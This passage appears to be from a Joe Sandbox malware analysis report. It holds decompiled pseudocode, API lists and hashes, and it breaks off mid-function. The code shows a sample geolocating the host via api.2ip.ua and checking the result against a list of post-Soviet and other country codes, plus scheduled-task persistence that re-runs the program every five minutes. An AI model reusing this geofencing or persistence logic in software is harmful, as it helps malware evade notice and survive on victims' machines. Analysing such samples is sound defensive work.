				 *[fs:0x0] = _t160;
				E0042F7C0(0x2890);
				_push(_t128);
				_push(_t152);
				_v10396 = 0;
				E0042B420( &_v10395, 0, 0x27ff);
				_t161 = _t160 + 0xc;
				_t90 = InternetOpenW(L"Microsoft Internet Explorer", 0, 0, 0, 0); // executed
				_t149 = _t90;
				_v92 = 7;
				_push(0x1b);
				_v96 = 0;
				_v112 = 0;
				E00415C10(_t128,  &_v112, _t149, _t152, L"https://api.2ip.ua/geo.json");
				_v8 = 0;
				_t94 =  >=  ? _v112 :  &_v112;
				_t95 = InternetOpenUrlW(_t149,  >=  ? _v112 :  &_v112, 0, 0, 0, 0); // executed
				_t153 = _t95;
				if(_t153 != 0) {
					InternetReadFile(_t153,  &_v10396, 0x2800,  &_v156); // executed
					InternetCloseHandle(_t153);
					InternetCloseHandle(_t149);
					_push(0x10);
					_v44 = 0xf;
					_v48 = 0;
					_v64 = 0;
					E004156D0(_t128,  &_v64, _t149, "\"country_code\":\"");
					_v8 = 1;
					_v20 = 0xf;
					_v24 = 0;
					_v40 = 0;
					if(_v10396 != 0) {
						_t134 =  &_v10396;
						_t23 = _t134 + 1; // 0x1
						_t146 = _t23;
						do {
							_t102 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t102 != 0);
						_t135 = _t134 - _t146;
					} else {
						_t135 = 0;
					}
					_push(_t135);
					E004156D0(_t128,  &_v40, _t149,  &_v10396);
					_v8 = 2;
					_t106 =  >=  ? _v64 :  &_v64;
					if(E00414300( &_v40,  >=  ? _v64 :  &_v64, 0, _v48) == 0xffffffff) {
						L30:
						_t129 = 0;
					} else {
						_t156 = E00413010( &_v40,  &_v136, _t107 + _v48, 0xa);
						if( &_v40 != _t114) {
							if(_v20 >= 0x10) {
								L00422587(_v40);
								_t161 = _t161 + 4;
							}
							_v20 = 0xf;
							_v24 = 0;
							_v40 = 0;
							E00413D40( &_v40, _t156);
						}
						if(_v116 >= 0x10) {
							L00422587(_v136);
							_t161 = _t161 + 4;
						}
						if(E00414300( &_v40, "\"", 0, 1) == 0xffffffff) {
							goto L30;
						} else {
							E00413010( &_v40,  &_v88, 0, _t116);
							_t131 = _v72;
							_t151 = 0;
							_v152 = "RU";
							_v148 = "BY";
							_v144 = "UA";
							_v140 = "AZ";
							_v136 = "AM";
							_v132 = "TJ";
							_v128 = "KZ";
							_v124 = "KG";
							_v120 = "UZ";
							_v116 = "SY";
							do {
								_t147 =  *((intOrPtr*)(_t159 + _t151 * 4 - 0x94));
								if( *_t147 != 0) {
									_t157 = _t147;
									_t61 = _t157 + 1; // 0x500005
									_t142 = _t61;
									do {
										_t119 =  *_t157;
										_t157 = _t157 + 1;
									} while (_t119 != 0);
									_t158 = _t157 - _t142;
								} else {
									_t158 = 0;
								}
								_t144 =  >=  ? _v88 :  &_v88;
								_t121 =  <  ? _t131 : _t158;
								_t122 = E0040B650( >=  ? _v88 :  &_v88, _t147,  <  ? _t131 : _t158);
								_t161 = _t161 + 4;
								if(_t122 != 0 || _t131 < _t158 || (_t122 & 0xffffff00 | _t131 != _t158) != 0) {
									goto L24;
								} else {
									_t129 = 1;
								}
								L26:
								if(_v68 >= 0x10) {
									L00422587(_v88);
									_t161 = _t161 + 4;
								}
								_v68 = 0xf;
								_v72 = 0;
								_v88 = 0;
								goto L31;
								L24:
								_t151 = _t151 + 1;
							} while (_t151 < 9);
							_t129 = 0;
							goto L26;
						}
					}
					L31:
					if(_v20 >= 0x10) {
						L00422587(_v40);
						_t161 = _t161 + 4;
					}
					_v20 = 0xf;
					_v24 = 0;
					_v40 = 0;
					if(_v44 >= 0x10) {
						L00422587(_v64);
						_t161 = _t161 + 4;
					}
					_v44 = 0xf;
					_v48 = 0;
					_v64 = 0;
				} else {
					_t129 = 0;
				}
				if(_v92 >= 8) {
					L00422587(_v112);
				}
				 *[fs:0x0] = _v16;
				return _t129;
			}

0x0040cf19
0x0040cf1b
0x0040cf20
0x0040cf26
0x0040cf2d
0x0040cf32
0x0040cf33
0x0040cf40
0x0040cf4a
0x0040cf4f
0x0040cf5f
0x0040cf65
0x0040cf67
0x0040cf6e
0x0040cf72
0x0040cf81
0x0040cf85
0x0040cf8e
0x0040cf9e
0x0040cfa6
0x0040cfac
0x0040cfb0
0x0040cfcd
0x0040cfda
0x0040cfdd
0x0040cfdf
0x0040cfe9
0x0040cff0
0x0040cff7
0x0040cffb
0x0040d000
0x0040d00b
0x0040d012
0x0040d019
0x0040d01d
0x0040d023
0x0040d029
0x0040d029
0x0040d030
0x0040d030
0x0040d032
0x0040d033
0x0040d037
0x0040d01f
0x0040d01f
0x0040d01f
0x0040d039
0x0040d044
0x0040d049
0x0040d05c
0x0040d069
0x0040d1cb
0x0040d1cb
0x0040d06f
0x0040d084
0x0040d08b
0x0040d091
0x0040d096
0x0040d09b
0x0040d09b
0x0040d0a2
0x0040d0a9
0x0040d0b0
0x0040d0b4
0x0040d0b4
0x0040d0bd
0x0040d0c5
0x0040d0ca
0x0040d0ca
0x0040d0e1
0x00000000
0x0040d0e7
0x0040d0f1
0x0040d0f6
0x0040d0f9
0x0040d0fb
0x0040d105
0x0040d10f
0x0040d119
0x0040d123
0x0040d12d
0x0040d134
0x0040d13b
0x0040d142
0x0040d149
0x0040d150
0x0040d150
0x0040d15a
0x0040d160
0x0040d162
0x0040d162
0x0040d165
0x0040d165
0x0040d167
0x0040d168
0x0040d16c
0x0040d15c
0x0040d15c
0x0040d15c
0x0040d177
0x0040d17d
0x0040d181
0x0040d186
0x0040d18b
0x00000000
0x0040d1c7
0x0040d1c7
0x0040d1c7
0x0040d1a2
0x0040d1a6
0x0040d1ab
0x0040d1b0
0x0040d1b0
0x0040d1b3
0x0040d1ba
0x0040d1c1
0x00000000
0x0040d19a
0x0040d19a
0x0040d19b
0x0040d1a0
0x00000000
0x0040d1a0
0x0040d0e1
0x0040d1cd
0x0040d1d1
0x0040d1d6
0x0040d1db
0x0040d1db
0x0040d1e2
0x0040d1e9
0x0040d1f0
0x0040d1f4
0x0040d1f9
0x0040d1fe
0x0040d1fe
0x0040d201
0x0040d208
0x0040d20f
0x0040cfb2
0x0040cfb2
0x0040cfb2
0x0040d217
0x0040d21c
0x0040d221
0x0040d22b
0x0040d236

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00427B0B(int _a4) {
				void* _t4;

				_t1 =  &_a4; // 0x423b69
				E00427AD7(_t4,  *_t1);
				ExitProcess(_a4);
			}

0x00427b0e
0x00427b11
0x00427b1a

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00427F3D(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E00427E0E(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x00427f40
0x00427f42
0x00427f44
0x00427f47
0x00427f50

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: RtlDecodePointer.NTDLL(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E0040D240(void* __ecx, char _a4, intOrPtr _a24) {
				char _v8;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				char _v28;
				void* _v32;
				char _v33;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				char _v92;
				void* _v96;
				char _v100;
				char _v104;
				short _v120;
				char _v140;
				char _v156;
				char _v172;
				char _v228;
				char _v244;
				char _v324;
				long _v1348;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t222;
				short _t226;
				short _t243;
				intOrPtr* _t248;
				intOrPtr* _t249;
				intOrPtr* _t250;
				short _t251;
				intOrPtr* _t253;
				intOrPtr* _t254;
				intOrPtr* _t255;
				intOrPtr* _t258;
				short _t259;
				intOrPtr* _t261;
				intOrPtr* _t263;
				intOrPtr* _t265;
				intOrPtr* _t267;
				intOrPtr* _t268;
				intOrPtr* _t269;
				short _t270;
				intOrPtr* _t273;
				short _t274;
				intOrPtr* _t275;
				short _t276;
				intOrPtr* _t278;
				short _t279;
				intOrPtr* _t280;
				short _t281;
				intOrPtr* _t283;
				intOrPtr* _t285;
				intOrPtr* _t286;
				intOrPtr* _t287;
				short _t288;
				intOrPtr* _t291;
				short _t292;
				intOrPtr* _t293;
				short _t294;
				intOrPtr* _t296;
				short _t297;
				intOrPtr* _t299;
				intOrPtr* _t301;
				intOrPtr* _t302;
				intOrPtr* _t303;
				short _t304;
				intOrPtr* _t306;
				intOrPtr* _t307;
				intOrPtr* _t308;
				short _t309;
				intOrPtr* _t311;
				intOrPtr* _t313;
				intOrPtr* _t314;
				intOrPtr* _t315;
				short _t316;
				intOrPtr* _t318;
				intOrPtr* _t319;
				intOrPtr* _t320;
				short _t321;
				intOrPtr* _t332;
				intOrPtr* _t333;
				intOrPtr* _t334;
				intOrPtr* _t335;
				short _t336;
				intOrPtr* _t340;
				short _t341;
				intOrPtr* _t342;
				short _t343;
				intOrPtr* _t345;
				short _t346;
				intOrPtr* _t350;
				intOrPtr* _t351;
				short _t352;
				intOrPtr* _t354;
				intOrPtr* _t355;
				intOrPtr* _t356;
				short _t357;
				intOrPtr* _t365;
				intOrPtr* _t378;
				intOrPtr* _t380;
				intOrPtr* _t382;
				intOrPtr* _t386;
				intOrPtr* _t388;
				intOrPtr* _t390;
				intOrPtr* _t392;
				void* _t394;
				char _t395;
				intOrPtr* _t397;
				intOrPtr* _t398;
				intOrPtr* _t402;
				intOrPtr* _t410;
				intOrPtr* _t417;
				intOrPtr* _t420;
				intOrPtr* _t423;
				intOrPtr* _t428;
				intOrPtr* _t431;
				intOrPtr* _t433;
				intOrPtr* _t454;
				intOrPtr* _t457;
				intOrPtr* _t459;
				intOrPtr* _t466;
				intOrPtr* _t469;
				short _t479;
				short _t480;
				short _t484;
				short _t491;
				short _t499;
				short _t500;
				short _t501;
				short _t502;
				short _t504;
				intOrPtr* _t511;
				short _t512;
				short _t513;
				void* _t516;
				void* _t517;
				void* _t519;
				intOrPtr* _t540;
				short _t541;
				short _t542;
				intOrPtr _t543;
				void* _t544;

				_t222 =  *[fs:0x0];
				 *[fs:0x0] = _t543;
				_t544 = _t543 - 0x538;
				_t517 = __ecx;
				_v8 = 0;
				__imp__CoInitialize(0, _t516, _t519, _t394, _t222, 0x4ca928, 0xffffffff);
				if(_t222 >= 0) {
					__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 6, 3, 0, 0, 0);
					_v100 = 7;
					_v120 = 0;
					_v104 = 0;
					E00414690(_t394,  &_v120,  &_a4, 0);
					_t226 =  &_v32;
					_v8 = 1;
					_v32 = 0;
					__imp__CoCreateInstance(0x4d506c, 0, 1, 0x4d4fec, _t226, 0xffffffff);
					__eflags = _t226;
					if(_t226 < 0) {
						L74:
						__imp__CoUninitialize();
						_t395 = 0;
					} else {
						_t397 = __imp__#8;
						 *_t397( &_v156);
						asm("movdqu xmm0, [ebp-0x98]");
						asm("movdqu [ebp-0xb8], xmm0");
						 *_t397( &_v140);
						asm("movdqu xmm0, [ebp-0x88]");
						asm("movdqu [ebp-0xc8], xmm0");
						 *_t397( &_v172);
						asm("movdqu xmm0, [ebp-0xa8]");
						asm("movdqu [ebp-0xd8], xmm0");
						 *_t397( &_v244);
						_v8 = 5;
						asm("movdqu xmm0, [ebp-0xb8]");
						_t402 = _v32;
						asm("movdqu [eax], xmm0");
						asm("movdqu xmm0, [ebp-0xc8]");
						asm("movdqu [eax], xmm0");
						_t544 = _t544 - 0xffffffffffffffe0;
						asm("movdqu xmm0, [ebp-0xd8]");
						asm("movdqu [eax], xmm0");
						asm("movdqu xmm0, [ebp-0xf0]");
						asm("movdqu [eax], xmm0");
						_t243 =  *((intOrPtr*)( *_t402 + 0x28))(_t402);
						__imp__#9( &_v244);
						__imp__#9( &_v172);
						__imp__#9( &_v140);
						_v8 = 1;
						__imp__#9( &_v156);
						__eflags = _t243;
						if(__eflags >= 0) {
							_v24 = 0;
							_t248 = E0040B140(_t397,  &_v28, __eflags, "\\");
							_v8 = 6;
							_t249 =  *_t248;
							__eflags = _t249;
							if(_t249 == 0) {
								_t479 = 0;
								__eflags = 0;
							} else {
								_t479 =  *_t249;
							}
							_t250 = _v32;
							_t251 =  *((intOrPtr*)( *_t250 + 0x1c))(_t250, _t479,  &_v24);
							_v8 = 1;
							E0040B1D0( &_v28, _t479);
							__eflags = _t251;
							if(__eflags >= 0) {
								_t253 = E0040B140(_t397,  &_v28, __eflags, L"Time Trigger Task");
								_v8 = 7;
								_t254 =  *_t253;
								__eflags = _t254;
								if(_t254 == 0) {
									_t480 = 0;
									__eflags = 0;
								} else {
									_t480 =  *_t254;
								}
								_t255 = _v24;
								 *((intOrPtr*)( *_t255 + 0x3c))(_t255, _t480, 0);
								_v8 = 1;
								E0040B1D0( &_v28, _t480);
								_t258 = _v32;
								_v20 = 0;
								_t259 =  *((intOrPtr*)( *_t258 + 0x24))(_t258, 0,  &_v20);
								_t410 = _v32;
								 *((intOrPtr*)( *_t410 + 8))(_t410);
								__eflags = _t259;
								if(_t259 >= 0) {
									_t261 = _v20;
									_v64 = 0;
									__eflags =  *((intOrPtr*)( *_t261 + 0x1c))(_t261,  &_v64);
									if(__eflags < 0) {
										L73:
										_t263 = _v24;
										 *((intOrPtr*)( *_t263 + 8))(_t263);
										_t265 = _v20;
										 *((intOrPtr*)( *_t265 + 8))(_t265);
										goto L74;
									} else {
										_t267 = E0040B140(_t397,  &_v28, __eflags, L"Author Name");
										_v8 = 8;
										_t268 =  *_t267;
										__eflags = _t268;
										if(_t268 == 0) {
											_t484 = 0;
											__eflags = 0;
										} else {
											_t484 =  *_t268;
										}
										_t269 = _v64;
										_t270 =  *((intOrPtr*)( *_t269 + 0x28))(_t269, _t484);
										_v8 = 1;
										E0040B1D0( &_v28, _t484);
										_t417 = _v64;
										 *((intOrPtr*)( *_t417 + 8))(_t417);
										__eflags = _t270;
										if(_t270 < 0) {
											goto L73;
										} else {
											_t273 = _v20;
											_v56 = 0;
											_t274 =  *((intOrPtr*)( *_t273 + 0x3c))(_t273,  &_v56);
											__eflags = _t274;
											if(_t274 < 0) {
												goto L73;
											} else {
												_t275 = _v56;
												_t276 =  *((intOrPtr*)( *_t275 + 0x38))(_t275, 3);
												_t420 = _v56;
												 *((intOrPtr*)( *_t420 + 8))(_t420);
												__eflags = _t276;
												if(_t276 < 0) {
													goto L73;
												} else {
													_t278 = _v20;
													_v48 = 0;
													_t279 =  *((intOrPtr*)( *_t278 + 0x2c))(_t278,  &_v48);
													__eflags = _t279;
													if(_t279 < 0) {
														goto L73;
													} else {
														_t280 = _v48;
														_t281 =  *((intOrPtr*)( *_t280 + 0x58))(_t280, 0xffffffff);
														_t423 = _v48;
														 *((intOrPtr*)( *_t423 + 8))(_t423);
														__eflags = _t281;
														if(_t281 < 0) {
															goto L73;
														} else {
															_t283 = _v48;
															_v76 = 0;
															__eflags =  *((intOrPtr*)( *_t283 + 0x9c))(_t283,  &_v76);
															if(__eflags < 0) {
																goto L73;
															} else {
																_t285 = E0040B140(_t397,  &_v28, __eflags, L"PT5M");
																_v8 = 9;
																_t286 =  *_t285;
																__eflags = _t286;
																if(_t286 == 0) {
																	_t491 = 0;
																	__eflags = 0;
																} else {
																	_t491 =  *_t286;
																}
																_t287 = _v76;
																_t288 =  *((intOrPtr*)( *_t287 + 0x28))(_t287, _t491);
																_v8 = 1;
																E0040B1D0( &_v28, _t491);
																_t428 = _v76;
																 *((intOrPtr*)( *_t428 + 8))(_t428);
																__eflags = _t288;
																if(_t288 < 0) {
																	goto L73;
																} else {
																	_t291 = _v20;
																	_v80 = 0;
																	_t292 =  *((intOrPtr*)( *_t291 + 0x24))(_t291,  &_v80);
																	__eflags = _t292;
																	if(_t292 < 0) {
																		goto L73;
																	} else {
																		_t293 = _v80;
																		_v68 = 0;
																		_t294 =  *((intOrPtr*)( *_t293 + 0x28))(_t293, 1,  &_v68);
																		_t431 = _v80;
																		 *((intOrPtr*)( *_t431 + 8))(_t431);
																		__eflags = _t294;
																		if(_t294 < 0) {
																			goto L73;
																		} else {
																			_t296 = _v68;
																			_v40 = 0;
																			_t297 =  *((intOrPtr*)( *_t296))(_t296, 0x4d50ec,  &_v40);
																			_t433 = _v68;
																			 *((intOrPtr*)( *_t433 + 8))(_t433);
																			__eflags = _t297;
																			if(_t297 < 0) {
																				goto L73;
																			} else {
																				_t299 = _v40;
																				__eflags =  *((intOrPtr*)( *_t299 + 0x28))(_t299,  &_v60);
																				if(__eflags < 0) {
																					goto L73;
																				} else {
																					_t301 = E0040B140(_t397,  &_v28, __eflags, L"PT5M");
																					_v8 = 0xa;
																					_t302 =  *_t301;
																					__eflags = _t302;
																					if(_t302 == 0) {
																						_t499 = 0;
																						__eflags = 0;
																					} else {
																						_t499 =  *_t302;
																					}
																					_t303 = _v60;
																					_t304 =  *((intOrPtr*)( *_t303 + 0x20))(_t303, _t499);
																					_v8 = 1;
																					E0040B1D0( &_v28, _t499);
																					__eflags = _t304;
																					if(__eflags < 0) {
																						goto L73;
																					} else {
																						_t306 = E0040B140(_t397,  &_v28, __eflags, 0x500078);
																						_v8 = 0xb;
																						_t307 =  *_t306;
																						__eflags = _t307;
																						if(_t307 == 0) {
																							_t500 = 0;
																							__eflags = 0;
																						} else {
																							_t500 =  *_t307;
																						}
																						_t308 = _v60;
																						_t309 =  *((intOrPtr*)( *_t308 + 0x28))(_t308, _t500);
																						_v8 = 1;
																						E0040B1D0( &_v28, _t500);
																						__eflags = _t309;
																						if(_t309 < 0) {
																							goto L73;
																						} else {
																							_t311 = _v40;
																							__eflags =  *((intOrPtr*)( *_t311 + 0x2c))(_t311, _v60);
																							if(__eflags < 0) {
																								goto L73;
																							} else {
																								_t313 = E0040B140(_t397,  &_v28, __eflags, L"Trigger1");
																								_v8 = 0xc;
																								_t314 =  *_t313;
																								__eflags = _t314;
																								if(_t314 == 0) {
																									_t501 = 0;
																									__eflags = 0;
																								} else {
																									_t501 =  *_t314;
																								}
																								_t315 = _v40;
																								_t316 =  *((intOrPtr*)( *_t315 + 0x24))(_t315, _t501);
																								_v8 = 1;
																								E0040B1D0( &_v28, _t501);
																								__eflags = _t316;
																								if(__eflags < 0) {
																									goto L73;
																								} else {
																									_t318 = E0040B140(_t397,  &_v28, __eflags, L"2030-05-02T08:00:00");
																									_v8 = 0xd;
																									_t319 =  *_t318;
																									__eflags = _t319;
																									if(_t319 == 0) {
																										_t502 = 0;
																										__eflags = 0;
																									} else {
																										_t502 =  *_t319;
																									}
																									_t320 = _v40;
																									_t321 =  *((intOrPtr*)( *_t320 + 0x44))(_t320, _t502);
																									_v8 = 1;
																									E0040B1D0( &_v28, _t502);
																									__eflags = _t321;
																									if(__eflags < 0) {
																										goto L73;
																									} else {
																										E00423AAF( &_v28, _t502, __eflags,  &_v92);
																										asm("cdq");
																										_v92 = _v92 + _t517;
																										asm("adc [ebp-0x54], edx");
																										E004228E0( &_v324, 0x50, "%Y-%m-%dT%H:%M:%S", E00423551( &_v92));
																										_v33 = 0;
																										E00412C40(_t544, _t517,  &_v324);
																										_t332 = E00412900( &_v228, _v33);
																										_t544 = _t544 + 0x18;
																										_v8 = 0xe;
																										__eflags =  *((intOrPtr*)(_t332 + 0x14)) - 8;
																										if(__eflags >= 0) {
																											_t332 =  *_t332;
																										}
																										_t333 = E0040B140(_t397,  &_v28, __eflags, _t332);
																										_v8 = 0xf;
																										_t334 =  *_t333;
																										__eflags = _t334;
																										if(_t334 == 0) {
																											_t504 = 0;
																											__eflags = 0;
																										} else {
																											_t504 =  *_t334;
																										}
																										_t335 = _v40;
																										_t336 =  *((intOrPtr*)( *_t335 + 0x3c))(_t335, _t504);
																										E0040B1D0( &_v28, _t504);
																										_v8 = 1;
																										E00413210( &_v228);
																										_t454 = _v40;
																										 *((intOrPtr*)( *_t454 + 8))(_t454);
																										__eflags = _t336;
																										if(_t336 < 0) {
																											goto L73;
																										} else {
																											_t340 = _v20;
																											_v52 = 0;
																											_t341 =  *((intOrPtr*)( *_t340 + 0x44))(_t340,  &_v52);
																											__eflags = _t341;
																											if(_t341 < 0) {
																												goto L73;
																											} else {
																												_t342 = _v52;
																												_v72 = 0;
																												_t343 =  *((intOrPtr*)( *_t342 + 0x30))(_t342, 0,  &_v72);
																												_t457 = _v52;
																												 *((intOrPtr*)( *_t457 + 8))(_t457);
																												__eflags = _t343;
																												if(_t343 < 0) {
																													goto L73;
																												} else {
																													_t345 = _v72;
																													_v44 = 0;
																													_t346 =  *((intOrPtr*)( *_t345))(_t345, 0x4d511c,  &_v44);
																													_t459 = _v72;
																													 *((intOrPtr*)( *_t459 + 8))(_t459);
																													__eflags = _t346;
																													if(_t346 < 0) {
																														goto L73;
																													} else {
																														__eflags = _v100 - 8;
																														_t349 =  >=  ? _v120 :  &_v120;
																														_t350 = E0040B140(_t397,  &_v28, _v100 - 8,  >=  ? _v120 :  &_v120);
																														_v8 = 0x10;
																														_t511 =  *_t350;
																														__eflags = _t511;
																														if(_t511 == 0) {
																															_t512 = 0;
																															__eflags = 0;
																														} else {
																															_t512 =  *_t511;
																														}
																														_t351 = _v44;
																														_t352 =  *((intOrPtr*)( *_t351 + 0x2c))(_t351, _t512);
																														_v8 = 1;
																														E0040B1D0( &_v28, _t512);
																														__eflags = _t352;
																														if(__eflags >= 0) {
																															_t354 = E0040B140(_t397,  &_v28, __eflags, L"--Task");
																															_v8 = 0x11;
																															_t355 =  *_t354;
																															__eflags = _t355;
																															if(_t355 == 0) {
																																_t513 = 0;
																																__eflags = 0;
																															} else {
																																_t513 =  *_t355;
																															}
																															_t356 = _v44;
																															_t357 =  *((intOrPtr*)( *_t356 + 0x34))(_t356, _t513);
																															_v8 = 1;
																															_t539 = _t357;
																															E0040B1D0( &_v28, _t513);
																															_t466 = _v44;
																															 *((intOrPtr*)( *_t466 + 8))(_t466);
																															__eflags = _t357;
																															if(_t357 < 0) {
																																goto L73;
																															} else {
																																_v96 = 0;
																																E0040B400( &_v172, _t539, _t466);
																																asm("movdqu xmm0, [eax]");
																																asm("movdqu [ebp-0xd8], xmm0");
																																 *_t397( &_v140);
																																asm("movdqu xmm0, [ebp-0x88]");
																																asm("movdqu [ebp-0xc8], xmm0");
																																 *_t397( &_v156);
																																_v8 = 0x14;
																																asm("movdqu xmm0, [ebp-0x98]");
																																asm("movdqu [ebp-0xb8], xmm0");
																																_t365 = E0040B140(_t397,  &_v28, __eflags, L"Time Trigger Task");
																																_v8 = 0x15;
																																_t540 =  *_t365;
																																__eflags = _t540;
																																if(_t540 == 0) {
																																	_t541 = 0;
																																	__eflags = 0;
																																} else {
																																	_t541 =  *_t540;
																																}
																																asm("movdqu xmm0, [ebp-0xd8]");
																																_t469 = _v24;
																																asm("movdqu [eax], xmm0");
																																_t544 = _t544 - 0xfffffffffffffff0;
																																asm("movdqu xmm0, [ebp-0xc8]");
																																asm("movdqu [eax], xmm0");
																																asm("movdqu xmm0, [ebp-0xb8]");
																																asm("movdqu [eax], xmm0");
																																_t542 =  *((intOrPtr*)( *_t469 + 0x44))(_t469, _t541, _v20, 6, 3,  &_v96);
																																E0040B1D0( &_v28,  *_t469);
																																_t398 = __imp__#9;
																																 *_t398( &_v156);
																																 *_t398( &_v140);
																																_v8 = 1;
																																 *_t398( &_v172);
																																__eflags = _t542;
																																if(_t542 >= 0) {
																																	_t378 = _v24;
																																	 *((intOrPtr*)( *_t378 + 8))(_t378);
																																	_t380 = _v20;
																																	 *((intOrPtr*)( *_t380 + 8))(_t380);
																																	_t382 = _v96;
																																	 *((intOrPtr*)( *_t382 + 8))(_t382);
																																	__imp__CoUninitialize();
																																	_t395 = 1;
																																} else {
																																	swprintf( &_v1348, 0x400, "RegisterTaskDefinition. Err: %X\n", _t542);
																																	_t544 = _t544 + 0x10;
																																	goto L73;
																																}
																															}
																														} else {
																															_t386 = _v44;
